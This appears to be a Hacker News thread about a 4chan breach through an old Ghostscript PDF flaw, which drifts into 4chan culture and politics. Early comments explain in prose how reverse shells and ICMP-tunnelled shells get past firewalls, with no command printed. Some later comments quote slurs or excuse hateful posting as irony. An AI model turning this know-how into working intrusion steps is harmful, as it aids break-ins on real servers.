like if you found this exploit, and sent it to the company in good faith (ie a "good hacker"), are you free from prosecution? and what is the grey area, like if you found this exploit and then just sat on it for a while (let's say you didn't report it to the company, but let's also say you didn't abuse it, ie leak private data to twitter)
Reminds me of how people were crashing the PSP's XMB with BMP and TIFF files twenty years ago. I was just a kid, and began "pirating" every one of my classmates' consoles (some in exchange for a small amount of money). Good times.
When the first-gen iPhone was out there was a TIFF vulnerability so bad that you could jailbreak an iPhone just by visiting a specific web site. I remember going to Best Buy and seeing all of the display phones had been jailbroken. (It was easy to tell - this was before the App Store, so having extra app icons on the home screen wasn't normal.)
This was a user-empowering application of the vulnerability. Obviously, a bug that allows root-level arbitrary code execution just by getting the user to load a single image could be used for some pretty bad stuff. (And perhaps was.)
More recently there was an iOS 0-day GIF exploit requiring no user interaction: https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-i...
The `Memory Pit` exploit for the Nintendo DSi works in a similar way - it exploits a buffer overflow in the reading of image meta data by the Nintendo DSi Camera application in order to achieve arbitrary code execution.
https://dsibrew.org/wiki/Memory_Pit
> could give the attacker shell access.
How do these exploits work? Does it open an SSH port somewhere or does it show up as a browser-based terminal?
Usually the attacker, on their own computer, or some other server they have root on, will open a port and expose it to the internet and listen. The exploit payload will then make an outbound connection to that port. Once it's connected, the exploit will give the attacker's computer shell access. Search terms include 'reverse shell'.
It takes the normal client/server architecture and turns it inside out. If you remember FTP and active vs passive, it works like active mode FTP.
That's just one way to do it. If the attacker wants to actually listen on an open port on a compromised server that's behind a firewall, look up 'NAT traversal' for like half a dozen ways to do it.
One interesting method to get a shell that I read about is (ab)using ICMP echo requests. ICMP echo requests can contain arbitrary bytes as a payload. So the exploit will poll the attacker's IP address with ICMP echo requests. The exploit will have data payloads that have the shell's output. The attacker's server will respond with ICMP echo requests that have whatever the attacker wants to type into the shell. It's kinda janky but it works. Lots of firewalls might block outbound UDP/TCP connections from internal servers that don't need to make outbound connections, or might whitelist the addresses they're allowed to connect to. But they won't block ICMP, either because it's considered harmless or they forgot or they didn't know it needs to be blocked separately with other rules.
The point is there's any number of ways to do it, each more clever than the last.
https://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-ex...
Once you can run any command, you start passing in whatever commands you want.
A shell's stdin and stdout can be redirected to a tcp socket which connects to the attacker. Here are some examples: https://www.invicti.com/learn/reverse-shell/
This is a great question, one I've always wondered. "Shell access" typically requires a terminal to, you know, type stuff in, right?
You can crate a reverse shell with just netcat. On your victim machine, where you can run a command but not necessarily listen on a port you can run something like:
This will reach out to the attacker controlled machine and run an arbitrary payload hosted there. A simple payload would be opening a reverse shell to the attacker controlled machine from the victim. Because it's an outgoing connection it's less likely to be blocked by a firewall.The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to.
Note this a super simple demonstration of the concept.
This is an old well known exploit.
Don't run versions of ghostscript from 2012?
I would also say don't run ghostscript with the same permissions as the web server, especially not if you can just hand it your PDF through stdin and take a PNG through stdout. Sandbox it as much as possible. PDF is a really complex format which means lots of opportunities for buffer overruns and the like. (Edit: Actually, reading through Arch-TK's post above, it sounds like it was much dummer than something like a buffer overrun.)
Does this vuln have a CVE number, or other details? Just curious, since from the posts explaining things this doesn't seem to be based on memory corruption.
> Don't run versions of ghostscript from 2012?
Per Wikipedia:
In February 2013, with version 9.07, Ghostscript changed its license from GPLv3 to GNU AGPL.
With the AGPL license being legal kryptonite I wonder if license compatibility drove the decision (and how many other installations of Ghostscript share this concern)?
> Apparently some boards allowed uploading PDF files
Some boards used to allow PDF files to upload too.
Got a source? Not doubting, just curious.
Here: https://i.ibb.co/9mWLp4m9/4chanhack.jpg
search through the thread on the site where that attack came from. ctrl+f postscript and you will find the post
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Such a useless feature too. There was like 1 or 2 book sharing threads in sci in the last few years and 1 in arts and crafts and 99.9% of people don't even know about it and just use offsite hosts
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Why would you say how you did it? Now they can't do it all over again when it comes back /s
I feel too many people conflate /pol/ with the whole website. I enjoyed browsing through sfw boards like /tg/ (tabletop media), /ck/ (cooking) and /fit/ (fitness). I had long discussions about the SW sequels on /tv/ back in 2015-19. The readership was surprisingly diverse and the anonymity lead users to provide more focused replies. With bodybuilding.com gone, the blue boards felt like the last bastion of the old internet.
> bodybuilding.com
Obligatory post about the dumbest argument to ever be had online [0]. It’s so good, the Wikipedia entry [1] has a section devoted to it.
[0]: https://web.archive.org/web/20240123134202/https://forum.bod...
[1]: https://en.wikipedia.org/wiki/Bodybuilding.com
For the record this is an example of the "Fencepost error" where the last item in a range gets double counted as the first item in the next range and is incredibly common in dyscalculia (the math version of dyslexia) as people will have "visual number lines" in their head that cover ranges of numbers but the ends get double counted, so there will be a 10-20 number line then a 20-30 number line.
I suspect TheJosh had something like that with the week where he visualized it with Sundays at both ends but lacked the self awareness to realize that this was not a universal representation.
Can we pause and admire the sheer contagiousness of the debate? We are now extending it to the meta-realm, discussing the possible mental states that led to one or more of the original participants adopting certain lines of reasoning...
Speaking of the meta-realm, I've always wondered how messages in forum flamewars always seemed to gravitate toward a very specific pattern:
<personal insult>
<the point>
<bait to continue flaming>
You see this pattern all over the Internet. For example, from that bodybuilding.com thread:
Actually the brain is part of the body, so it doesn’t extend into the meta realm, the debate is still about dates and body building just with a different organ.
As the quip goes, there are two hard problems in computer science: cache invalidation, naming things, and off-by-one errors.
That's three though.
That's the neat part.
Not if you start counting at zero!
0,1,2,3
That's 5
"Five is right out"
Whoosh
I'm not sure about the "fencepost error" part, but he's thinking of days as durations rather than points. It's early in the thread, about halfway down the first page:
> You don't start counting on sunday, it hasn't been a day yet, you don't start counting til monday. You can't count the day that it is, did you never take basic elementrary math?
Put in other terms, TheJosh uses "Sun - Sun" as inclusive start and exclusive end, while Justin-27 uses "Sun - Sat" as inclusive start and inclusive end.
I think TheJosh mixed things up when trying to explain it (durations vs inclusive/exclusive), so doubles down and comes up with weirder stuff later in the thread. I didn't read the whole thing though, stopped near the bottom of the first page.
>days as durations rather than points
Isn't thinking of day X as the range [midnight of X, X+1 midnight) isomoprhic to associating it with a point for X, at least for purposes of considering coverage (e.g. both approaches work to show that there are 7 days that cover a week).
Yes, see the end of my comment:
> I think TheJosh mixed things up when trying to explain it (durations vs inclusive/exclusive)
I wanted to keep going but pages 3 onwards don't seem to be archived. Argh, back to work I guess
My personal favorite rendition of this: https://www.youtube.com/watch?v=JqylqmDl0Mw (Mega64 - Flame War Theater - "Full Body Workout Every Other Day?")
I had to watch that at 2x to keep the thoughts-per-second above catatonic.
In the same vein, for those who haven't seen it, the classic "Is soup a drink?" debate: https://m.youtube.com/watch?v=IDNuz_VFJtU
Somewhere, there are ancient Greek rhetoric teachers spinning in their graves.
Is cereal soup?
No, that’s just an extra dressed salad.
Objection.
This is amazing, thank you.
If a woman ever asks what men’s locker room talk is like, just show them that post. We really are a simple bunch.
I'm always confused when shitty men insist that saying outright misogynist things and even rape jokes is "just locker room talk", like, nope, no, our locker rooms in high school did NOT have those happen. That kind of womanizer talk would out you as immensely insecure and a braggadocios loser.
Lots of dick helicopters though.
So basically it’s very gay?
lol that was a bait thread, this is the same place that had a discussion on whether a pitbull could defeat the Sun if it snuck up on it at night
Do you have a link or reference to this? I'm going to be thinking about this for weeks now.
Laughing my head off reading through this. Thank you
That IS dumb -- everyone knows there are 8 days in a week. Sunday to Sunday -- you can count it on your hands!
Well, the thing is that if it's Sunday you can't know if it's the Sunday at the end of the week or the Sunday at the beginning of the week. Therefore, each Sunday is in two weeks and should be counted twice, 8 + 2 = 10 days in a week. Don't feel bad, a lot of people miss this.
Phewah. I feel like you just upgraded my entire life!
> Obligatory post about the dumbest argument to ever be had online
Jon Bois did an amazing video about this one: https://www.youtube.com/watch?v=eECjjLNAOd4
I never saw this before. Thank you to share. Truly, this is peak Interwebs.
> In 2015, Vice News contacted mathematician Joanna Nelson for a resolution, and she said that TheJosh would have to schedule his workouts in two-week chunks, claiming a week is seven days from Monday to Sunday.
Why was a mathematician necessary for this assertion?
Because if you ask an economist you'll get two answers, neither of which will be helpful.
I love this thread so much
I need to thank you for the web archive post. The argument was amusing as it was dumb.
> I feel too many people conflate /pol/ with the whole website.
Because it is the 2nd most active category, and the racist/alt-right beliefs have spread to the other boards because the head admin fires anyone that tries to moderate it.
https://www.vice.com/en/article/the-man-who-helped-turn-4cha...
On top of that, they actively delete and ban posts that go against alt-right.
I discussed it somewhat recently here: https://news.ycombinator.com/item?id=42276865#42283887
All of this sentiment is many years out of date. "Alt-right" hasn't been a term of self-identification for almost a decade, and hasn't been used as an identifier by pretty much anyone for at least half of that. /pol/ is not the epicentre of the radical online right and has not been for years - it's a backwater in that regard now.
The most notable radicalisation happening on /pol/ nowadays, in my opinion, is a kind of hyper-masculine third-worldist ideology that is anti-semitic in its foundation and deeply misogynistic. While those two traits might sound superficially similar to the 2015 "Alt right", this new ideology has a significant pro-Islamist tendency, and has an almost comprehensive disdain for the west and its ways of life, in favour of authoritarian regimes like like Russia, Iran, and China. Also, as is being corroborated by other online circles like the Nick Fuentes "Groyper" movement, this faction of the online far-right is an increasingly post-racial one, with more traditionally white supremacist views disappearing, to be filled in by antisemitism.
Personally, I think this cultural political shift in the imageboard represents the increased representation of developing countries online, and is an important case study in how quickly cultural foundations can shift inside the borderless land of the internet.
I don't think it is out of date at all.
Anti-jewish content was there 10 years ago as well. The board is full of white supremacist posts when I checked yesterday with lots of threads complaining about non-white races. There's absolutely no indication that it has been overtaken by developing countries.
Just because they changed their name to "groyper" doesn't mean they aren't alt-right anymore.
As for support for authoritarian regimes like russia, it is obvious that they are running propaganda on the website and want to sow division in the US by encouraging fringe groups like these.
The fact that you had to explain this is evidence that those who try to fight the kind of ideology which is spreading on that website have no hope.
Interesting input, thanks for sharing!
I like /pol/ and although I'm not really interested in defending it (I 100% understand why people don't like it) I will give my opinion of it because I think most people don't get it and take the board wayy too seriously.
/pol/ isn't trying to be like the millions of other politic discussion forums online. It's literally intended to be politically outrageous so when people like yourself complain that it's full of outrageous alt-right content you're typically missing the point.
It's full of things that appear to be alt-right because stuff like racism, sexism and transphobia is extremely politically incorrect. While far-left views might be equally reprehensible, these views are not seen as equally politically incorrect. It's actually quite hard to hold politically incorrect far-left views unless you incorporate some far-right views – being so pro-trans that you hate biological women or something stupid. This is why you tend to see less left-wing content there. It's hard to be offensive and left-wing.**
But even then I think it's wrong to say /pol/ is full of alt-right content to be honest. There are alt-right people there for sure, but huge amount of the political memes posted on /pol/ are mocking the alt-right and the right more broadly. The board is constantly roasting the MAGA movement, for example.
As a brit my favourite threads on /pol/ are the brit/pol/ threads which basically just post politically incorrect memes mocking Brits and joking about how shit the UK is. These threads largely just Brits shitposting with each other and it would be wrong to assume the existence of hateful anti-British content on /pol/ is somehow evidence that /pol/ is xenophobic against Brits. People should take a similar views of the racist/alt-right threads – the vast majority of people there are just trolling and being offensive for a laugh. You don't have to like the humour, but most of it is just people shit posting.
> they actively delete and ban posts that go against alt-right.
Loads of stuff gets removed... If you're posting content that "goes against the alt-right" you're probably taking the board way way to seriously and you probably should be banned.
** Interestingly another commenter in the thread asked about why there's so much interracial porn on /pol/ if it's so racist, which kinda highlights my point here. Just hating white people isn't politically incorrect – there's people doing that all over Reddit. To make hating white people offensive you basically have to incorporate racist stereotypes about about how whites are genetically inferrer to blacks in various way, but then in doing this you'll get viewed as racist and alt-right because you're using racial stereotypes about how blacks are more athletic, etc.
If you're up for it I challenge you to be politically incorrect from a left-wing perspective without it being possible to argue that it's actually far-right.
There's little doubt in my mind that for every person on websites like /pol/ that's taking the piss with subversive "be as offensive/absurd to the status quo as you can" style of humor there's at least one other person that's internalized those kinds of views as a genuine belief system.
I don't browse 4chan anymore though I did used to (a lot) years ago. Take what I say as anecdotal evidence but I used to chat with a group of people I met through a former friend that seemed to start with a similar mindset to the one you have and then went down the pipeline over a few years of unironically espousing the most absurd abhorrent kind of thoughts you'd see on /pol/ and feeling 100% justified in doing so. They had gotten so used to seeing and interacting with such content day in and day out that it became normalized for them and they started to think that such a large forum existing with people saying similar things validated the way they began to think and act.
I think my main takeaway for sites like /pol/ is that you can't really pretend to act one way for humor for extended periods of time without it rubbing off on you in one way or another and that there are too many young people out there that stumble upon places like that and adopt those views since they lack the world experience yet to have formed their own.
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As confucius famously said, any community that gets its kicks out of pretending to be idiots will soon be filled with real idiots who think they are in good company.
A lot of it is ironic, but a lot less than it used to be.
> I will give my opinion of it because I think most people don't get it and take the board wayy too seriously.
I don't take the board seriously.
The posts I made that got deleted for being "off topic" were mocking the alt-right and I just wanted to get a reaction out of people rather than trying to sway anyone. I know I'm not going to convince anyone and I'm not trying to get anyone elected.
So when I see my posts get deleted or I even get banned for being "off topic" while a post on the same topic with an alt-right bent stays up with 300 replies,it's a clear indication that 4chan has a strong political bias and is absolutely not free speech anymore as most people seem to think it is.
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The intent of the posters may be ironic subversion. But for those reading? There's no doubt some portion that mistake it for sincerity and are quietly being radicalised by it all. Poe's Law and all that
I think I'd argue the issue here is a lack of diversity of views because exposure to radical views is the only thing that protects me from them. Although I might not be normal in that regard.
I would accept this is a problem though. I just question whether the solution is censoring views. I guess I'll give an example...
In the UK there's a lot of people questioning why young boys today seem to often hold such radical views about women. Of course, there's the surface level explanation we're given that boys are watching people like Andrew Tate online and are becoming radicalised, but then you have to ask why boys are watching people like Andrew Tate in the first place when they could also be listening to male feminists and have gone in the opposite direction.
It seems to me the most likely explanation for this content selection bias is that boys are told lies about gender from a very early age and then on hearing become easily radicalised partial truths from people like Tate. The uncomfortable reality is that Tate is telling half-truths about the biological differences and that many of these half-truths are just denied outright by others in positions of authority. It's really no wonder they find his content interesting. It's probably the same reason someone like Jordan Peterson seemed to fill a large cultural hole a few years back. Somehow just being positive about the unique contributions and strengths of men was a radical and shocking position that people found interesting.
100% facts. The fact that mainstream folks simply cannot understand how or why boys are in such a bad spot is exactly why 4chan was popular in the first place.
"you're typically missing the point."
You too buddy
Why do they allow so much interracial porn spam, and how does that fit into your view of the mods being alt-right racists?
interracial porn is frequently used by the alt-right racists to point out the evils of "race mixing" and to blame jews for being the producers of it. It is not an anti alt-right point at all.
Even if its posted by someone that is against the alt-right, it becomes a post to unify alt-right users.
It’s because they sexualize their fears. A lot of real fear of the BBC from scrawny white kids there.
Also why cuckolding, and other very embarrassing (for men) fetishes are popular there.
I unironically worry more about the degenerate fetishes that 4chan spreads more than the dumbass political ideologies they purport to have. Americans views of sexuality is so warped and sad because of mind viruses like this.
It's a kink because it's a taboo for them
I'm sorry, what? The 4chan community is racially tolerant because they post porn of all varieties and not just a few?
Yes, they also love passing trans people.
https://knowyourmeme.com/memes/favela-trans-girl-saga
You can still be attracted to someone even if you think you are genetically superior. Or you can get off on interracial power dynamics. Lots of reasons.
Go look of descendants of American slaves who do DNA tests only to find out they have European ancestry.
It's interesting to note the popularity of the website, and the massive traffic it handled, despite the lack of everything we assume necessary for a modern (social media) website
- no modern web frameworks
- no microservices/kubernetes clusters
- no algorithmic curation/moderation/recommendation algoritmhs
One wonders just how much of the modern engineering developed in the past decades, that cost a fortune to develop and run is actually necessary or even beneficial for running a modern social media website
I worked for a major internet company until 2020. HN would be aghast how much "if we failed to provide this service a good chunk of the internet would either go down or sites wouldn't function properly and the stock market probably would dip" stuff runs on redundant pairs of LAMP stacks and other unsophisticated old stuff HN would turn up its nose at.
"Redundant pair of LAMP stacks"
Damn you got two of those? That's advanced magic
Should have had updated dependencies though.
otoh the entire site is no longer running because they fell behind on updates
I think people also don't acknowledge how much terminology, slang and other culture originate and spread there. When it breaches into Twitter (usually through funposters) people kind of ignore the unsavoury origin and rewrite the history. The anonymous nature kind of provides that petri dish of "if it's strong culture, it'll survive or be modified."
This absolutely was the case for a long time. It was the cultural center of the internet where nearly all memes sprang from or gained traction and context before leaving orbit for the greater internet.
That has not been the case for years though. I'd say it shifted to twitter as things shifted to inseparably political on almost all of 4chan maybe 6-8 years back and then shifted away from twitter a while after elon bought it and a lot of people started to bail. and I honestly don't know where exactly it's shifted to now, but I'd have to guess tiktok and similar new platforms.
But regardless I do think 4chan has lost nearly all of it's cultural influence, but still maintains it's notoriety.
I think it's less the case now, but 4chan is absolutely still the source of new slang. It's just less concentrated on that one platform these days.
I think this was true at one point but not for the past 5-10 years. Based off of using the site I feel like now a lot of things start on other sites (particularly smaller accounts on twitter), get aggregated and popularized on 4chan, and then get picked up on other sites (often regurgitated back to twitter). Knowyourmeme shows this for a lot of things that people typically attribute as original to 4chan. There was definitely a time when a ton of stuff originated on 4chan but these days everything is so interconnected with the same people posting on twitter, reddit, and 4chan that I think 4chan gets a lot of unearned credit
Don't forget the slurs. They have some unique slurs in there that have backstories too.
> how much terminology, slang and other culture originate and spread there
Could you give some examples? The more unexpected, the better.
Preferably with sources, because tracing word origin is difficult enough on its own.
Wiktionary has a surprisingly robust list
https://en.wiktionary.org/wiki/Category:English_4chan_slang
Note, some of these are associated with the far right.
> fren later came to prominence on sites such as 4chan and the subreddit /r/frenworld as a dog whistle used by far-right white nationalists and fascists to refer to each other
https://en.m.wiktionary.org/wiki/fren
Should be noted that they have a history of trying to co-opt neutral terms and symbols. Like the frog and the ok gesture.
Pepe the frog became associated with the online far right because it was a commonly used memetic avatar in general 4chan culture, and became intertwined with the space's shift to the political right in a fairly organic way. The association was boosted by (IIRC) the 2016 Clinton campaign's assertion that it was a far-right symbol, which was obviously embraced by those people as a sort of irreverent statement. Likewise, there may have been some very thin, actually existing connection between the far right and the "ok" gesture, but it really came about as an association that was imposed by the media and subsequently embraced by that community. To say these terms were "co-opted" isn't really correct.
I think there's actually a better case to be made that the pipeline of "co-option" (if you want to call it that) is stronger in the reverse direction. I posted a sister comment to yours about that.
Why does that matter?
So you can have a clue who you're talking to.
because if you're trying to say a site was a positive influence, because it created a number of Nazi slurs and dog whistles... complete the sentence yourself
>Note, some of these are associated with the far right.
I think that should be trivially obvious based on the discussion at hand. What is interesting, though, is how so many of these terms came into public use as well-known, generic terms, despite the far right being poison to any normal person's reputation. Even many of the ones containing obviously offensive components have made it into wider use in some clipped form. Eg:
- based
- goyslop -> slop
- normalfag -> normie
I could be wrong but I don't think 'normie' came from 'normalfag'. I'm somewhat skeptical that 'goyslop' was the first use of 'slop' in this way too. And of course 'based' comes from rapper Lil B.
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Moot lists some examples in this video:
https://youtu.be/a_1UEAGCo30?si=JMVO5ox3K2AhxrMY&t=97
I thought culture was a “solved problem” now that we have AI.
I can’t keep up anymore.
Well either people thought my comment was to be taken literally, or they believe 4chan is culture and other hurting cultural gatherings like midsize live music venues were not.
I feel too many people who don't conflate /pol/ with the whole website, as well as the others, don't know why /pol/ was created.
It was eventually a replacement for the /new/ board, where news of the arab spring first started, shortly before it was shut down. However, it was plagued with proto-pol behavior before anyone was bothering to complain about pol.
There was always these 'cells' of non /jp/ shitposters, if they weren't the OG shitposters themselves, that would post about left-right politics ad nauseum, and in the most hallmark unproductive ways. It was when trolling evolved from 'clever this and that' to shear brute forcing. It was the topic of the news that attracted these unsavor political actors into that place, which was for a short period of time, a great diverse place for collecting news.
This social phenomena and history could never be repeated enough, particularly since we might be finally ending the story of pol/4chan - which was more popular than 4chan itself.
I feel too many people who conflate /pol/ with the whole website are just regurgitating information they heard from other social media sites. The most popular boards, by far, since 2020 have been the video game and vtuber boards. With Video Game generals being the most popular board for the past five years outside of the occasional political season. You can check this on 4stats.
People who still complain about /pol/ look a little like people who would still complain about ebaumsworld: Completely out of touch individuals who equate everything to a tiny phenomena.
For most of the period from 2020 to 2023, /pol/ has had more posts/day than any other board, often substantially more and it was 2nd most of the time. The /vt/ is a pretty distant 4th behind /v/.
I'm not entirely certain that I would call /pol/, which generates upwards of 110K posts/day a tiny phenomenon. It's about 13% of all 4chan posts. Add in /b/ and it's about a fifth.
https://4stats.io/
sorry buddy, but it's the nazi bar analogy. Let one nazi into your bar the whole bar is a nazi bar.
I don't care if some other sub-board is all sunshines and happiness, it's a nazi forum because of all the nazis that are coddled there.
That’s a silly thing to think about any site on the internet. Have you vetted every person on any site you post on? Or even this thread? If not, how do you expect a moderator to do that? This isn’t a pub, it’s a site used by tens of thousands of people.
Yes but if you go on /pol/ for an hour you are guaranteed to see nazi shit. I don't think they were saying that one nazi on the board means it's a nazi board, I think that part scales up when mapping the analogy to real life.
I always thought it's /b/ that people conflate with the whole website… (for the purpose of declaring it a cesspool)
… but then again I never looked at /pol/, maybe it's even worse than /b/?
it is, and unfortunately from 2016 onwards it kind of outgrew the rest of the site like a tumorous growth until the whole site became markedly more neonazi and less goofy. something to do with donald trump i suspected
Good to know. My opinion of 4chan was formed 2010-ish, I guess I should, er, update it.
I've heard multiple times about a bit of lore that holds that 4chan once tried to brigade Stormfront, causing Stormfront to brigade back, and that was how the cross pollination occurred and started turning 4chan fascist.
No idea if this is true but it sounds plausible.
In its earliest years /b/ started prank calling the radio show of nazi Hal Turner, then messed with Stomfront as the conflict widened. There was little activist component to this. They just thought it was funny to rile up people who took themselves very seriously.
I don't think there was any real reverse colonisation. 4chan's userbase was always whimsically racist and A Wyatt Mann cartoons were everywhere long before the conflict. moot and WT Snacks implemented some interesting word filters that I can't repeat here without my post getting hidden. Everyone was hateful, but not full of hate.
I think very little has changed in twenty years really. Feral male behaviour is just arbitrarily right-coded now, when it wasn't during the Bush era. Most of the kids screaming bix nood probably voted Obama in 08. Politics is window dressing on timeless brand of petulant contrarianism.
If you're a parent, teacher, or intelligence officer worried about a "crisis of radicalisation", the worst thing you can do is take this stuff seriously. Just call your son gay until he grows out of it.
The edgelord thing goes back way further than 4chan and Something Awful. I remember plenty of racist fascist rapist satanic misanthropist kitten smasher edgelords from the BBS days. It was not serious, though sometimes it was I hate my dad and I just got the new NiN album serious.
At some point something did change though. It was around the same time as Gamergate and it’s been written about extensively. I’ve been into edgy hacker adjacent culture since like 1992 and when the “actual not ironic” stuff landed it was immediately recognizable as something unfamiliar and different. I’m still not sure how many people got “pilled” versus how much of it was some kind of weird collision with normie spaces where people didn’t get the culture.
There was a generational shift in there too. OG hacker culture was GenX and older millennials, the people who grew up with the net pre enshittification. The /pol stuff and GG seems like younger millennials and GenZ.
I am not pretending to have a clue and I don’t think anyone truly does. It’s all a very complex soup of memes and people and influences.
I think the much more likely explanation is that 4chan always existed as a genuine counterculture (which was particularly true in the age prior to the late 2010s, when the internet was like a completely different world to real life), and reflected the rejection and inversion of certain societal mores. The rise of a far right current in 4chan exactly mirrored the kind of progressive fundamentalism that emerged in the dominant culture from around 2013. The outer zeitgeist started to abandon a 30-50-year term of post-racial thought, and immutable characteristics like race and gender started to become meaningful as tangible social capital in a kind of "official" way, as ideas like the progressive stack filtered from online circles and Occupy Wall St, through academia, into the halls of power and governments. The emerging racial consciousness of places like 4chan were a direct (and predictable) reaction to that.
The reason that places like 4chan became a far-right haven and other areas of the internet didn't has nothing to do with whether people tried to raid Stormfront in the 2000s, but is purely a matter of the firm-handedness (or lack thereof) of their respective moderation. Prior to the 2010s, many less-moderated areas of the internet had a variety of political persuasions, but from 2015 to the present day, there is a very strong correlation between the prevailing political leaning of a space and that space's ideological moderation strength.
the fash trend on /pol/ died somewhere around 2018 and has shifted significantly radleft in the years since. This is misunderstood by outsiders largely because /pol/ users don't actually hold these opinions, they just will represent whatever is the edgiest opinion at any given time.
And despite things like shooting pharma executives in broad daylight being mainstream now, /pol/lacks rightly recognize that this is still edgy upon edgy upon edgy. And thus they meme the shit out of it.
>users don't actually hold these opinions, they just will represent whatever is the edgiest opinion at any given time.
I left in 2012ish, never really did /pol/, if it even existed then, but that 100% squares with my experience of the site.
edit: po vs pol
/po/ is paper craft and origami
Confusion between the two boards has been immortalized in this meme: https://i.redd.it/l8shi3nsfd531.png
I'm too red pilled off of post-irony to accept that argument anymore.
Their internal narrative and outward justification for their transitory position is irrelevant.
It is - https://en.wikipedia.org/w/index.php?title=/pol/&oldid=12855....
/g/ was the origin of Chain of Thought for AI, also where llama weights were first leaked
> /g/ was the origin of Chain of Thought for AI
Is this documented?
Even /b/ was pretty good back in the day. Memes and inside jokes galore with almost no porn to be seen.
/pol/ and /b/ were containment boards, up until they got so popular that everything else ended up being containment boards.
I still miss hanging out on /v/ and /fa/. When they split /vg/ out into its own board, the colour started to drain from my experience.
the blue boards did have some slow overlap with pol in my experience - they were more distinct before 2014 or so and by 2016 I barely recognized /tg/ culture.
I'm curious, why bodybuilding.com in particular? I think I've only heard of it once. I wonder if anyone on HN remembers stardestroyer.net or old weird tech forums?
I used to hang out at Head-Fi a lot in the early ‘00s. It’s a headphone and headphone accessories (amplifiers, DACs, etc.) forum, and people nerd out about building their own stuff. I recall writing a review on some obscure Chinese brand of sound card that people liked, because it happened to have a really good DAC for the rear output (it was a surround sound card, back when that was something interesting).
I gradually lost interest when they started heavily pushing commercial sponsors. I get it; sites aren’t free to host, and moderator time isn’t free / unlimited, but it’s still sad.
Sites are surprisingly cheap to run all things considered - I remember asking the owner of an fairly prominent aerospace enthusiast forum (one of the biggest on the internet) how much he spends on hosting - he told me he hosts on a Linux box on DigitalOcean that runs phpBB, and he spends about $50/month for the whole website - not a crazy amount even for a hobbyist.
Bodybuilding.com's misc board was essentially the same sort of raunchy teen hangout as /b/, sans the porn. It wasn't anything goes, but a lot did, and of course you were dealing with the kinds of meatheads (said lovingly) who would happen upon bb.com in the first place.
/fit/ and /mu/ were good to me in my late teens, and /ck/ is the reason I actually asked my roommate’s mom to show me cooking basics when I was in college!
Funny you point to /pol/ and forget about /b/, that was the meat of 4chan in the late 2000's
The more popular blue boards were pretty bad too, let's be honest. It wasn't hard at all to find things on those boards that wouldn't be tolerated on any mainstream social media, for good reason.
I'm not looking for corporate sanitized social media site #102032. Imageboards if nothing else allow people to be people and you know what? Sure sometimes people suck, but I don't want some overvalued social media companies in America deciding what I can and can't see.
Sure I've encountered awful people on imageboards, but I've also encountered very nice, helpful people, some of which I've stayed in contact with long term.
What is the good reason?
Where I'm sat the only reason our three (?) social media companies restrict none illegal speech/content is to make it more appealing to advertisers.
I miss the internet before it was driven by advertisers and their investors.
It wasn't hard to find things no, but the narrative one often reads is that it's the mainstream consensus there to the universal opinion rather than a fringe opinion which exists and isn't banned from having.
/vg/ also had a pretty cool amateur game dev general thread (/agdg/). No one was making any hidden gems there, but it wasn't trash either. At any rate, I liked it.
Not hidden gems, no, but some of big titles originated from /agdg/, both Risk of Rain and VA-11 Hall-A started as progress posts in /agdg/ before hitting combined >1M sales.
I remember one user who made a really fun arcade flight simulator.
> I feel too many people conflate /pol/ with the whole website.
That's probably why a lot of websites use moderation to avoid having one section of it turn into a cesspit of every -ism you can imagine, up to and including fascism, because once you have a section of your website that is openly coordinating the pushing of fascism on society, everyone kinda forgets about the diverse and interesting other things it might have, because of the fascism.
4chan is more moderated than you'd imagine.
this might be conspirational thinking, but i don't think it's an accident that the site came out like this. yes, there's moderation, but the moderators are explicitly told to go easy on moderating racism[1]. it feels like once that kind of stuff isn't punished, it starts to snowball a change in the attitudes of the site as a whole.
that's not to say stringent moderation doesn't make a site less welcoming, though. it's about choosing what's the lesser evil to you, i guess.
[1]: https://www.vice.com/en/article/the-man-who-helped-turn-4cha...
> it feels like once that kind of stuff isn't punished, it starts to snowball a change in the attitudes of the site as a whole.
Considering the site has been around for over 20 years and people still call out and flame racism, I think this is an uncharitable and unfounded cynicism. I'm not sure declarative claims of 3rd order effects in a system so chaotic are capable of being accurate.
I think people, whether they know it or not, rightly realize that race is too simplistic of a way to mark people as good/bad or whatever so even in communities that would be fine with racism it's gonna catch a lot of shit for simply not being a good way to accomplish its goal.
Multiple white supremacist mass shooters have been 4chan users.
4chan cheered on the Buffalo shooter who was live updating a 4chan thread during his murder spree: https://www.thetrace.org/newsletter/4chan-moderation-buffalo...
The christchurch shooter was a 4chan regular https://theconversation.com/christchurch-terrorist-discussed...
The whole "boogaloo" white nationalist/supremacist movement started on 4chan:
https://www.splcenter.org/resources/reports/mcinnes-molyneux...
Stop whitewashing 4chan's history.
And the Zizian murder cult sprang out of the bay area rationalist community and trans rights advocacy, what's your point?
You say this like the rationalist community and 4chan edgelords aren't two circles with an incredible amount of overlap.
I like that there can be wild places on the internet where people can pieces of shit. 4Chan had communist trolls, Jew-hating trolls, Zionist-trolls, pro-Christian trolls, anti-Christian pro-pagan trolls. It didn't foster any fascism in society. It was just a place where people could say mostly what they want.
That is what has saved Reddit. You cannot find society fascism coordination there because the mods are strong. If 4chan followed that model bronies might still be a thing.
/mpl/ still exists. Well, still existed until now.
Eh, they came in very late on that one and only on the absolute worst examples. It's still very prevalent.
It's, funny enough, identical to people who conflate all of old 4chan with /b/. The current most popular boards are video game boards and have been since Covid hit. There's a site called 4stats which charts this, and shows how the end of Trump's presidency spelled the death knell of /pol/ dominating 4chan. Which, by comparison, was four years. It's been five years since then. It's kind of like how the golden age of /b/ was a shade over three years (2004-2007) but all of old 4chan is equated to the memes made in this prehistoric era.
Ignore /b/ /pol/ and /r9k/ and most of the rest were good communities compared to the modern internet.
Reddit can't get close due to its voting system.
Piling on the "some parts of 4chan was good until it wasn't" theme: I really liked /ck/ for a while. Then there was this weird trend of just like "all food tubers are garbage" whether that was "Kenji-Cucks", or people hating on Rageusa, or what ever.
Combining that with the "post hands" request for a lot of food it was just an unpleasant community to participate it.
Weirdly trying to load the page right now I'm getting Connection timed out. Is hackernews ddosing 4chan? What a world.
Ragusea is an idiot, though and I arrived at that conclusion without any help from 4ch.
Why? He seems better than the average foodtuber.
It used to be a diverse place without much to tie all the boards and users together save for a shared commitment to counter-culture. Then GamerGate and Donald Trump happened. "Every board is /pol/" was one of the most frequent replies you would see for a while until all the halfway decent people left.
/g/ is where I and a lot of people learned about FOSS advocacy and now it's just gamer hardware and transphobia.
